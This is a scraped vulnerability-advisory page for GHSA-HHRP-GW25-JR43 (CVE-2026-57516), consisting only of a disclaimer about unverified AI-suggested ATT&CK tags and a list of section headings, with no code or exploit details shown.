The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-HHRP-GW25-JR43

Summary

Vulnerable code (HEAD a157d4d)

Reachability and default-on confirmation

End-to-end reproduction

Real-world delivery vectors

Why GHSA-mw35 doesn't cover this

Suggested patch

References

CVE-2026-57516 (GCVE-0-2026-57516)

PYSEC-2026-2273

Tags

Sightings

Nomenclature

Vulnerable code (HEAD `a157d4d`)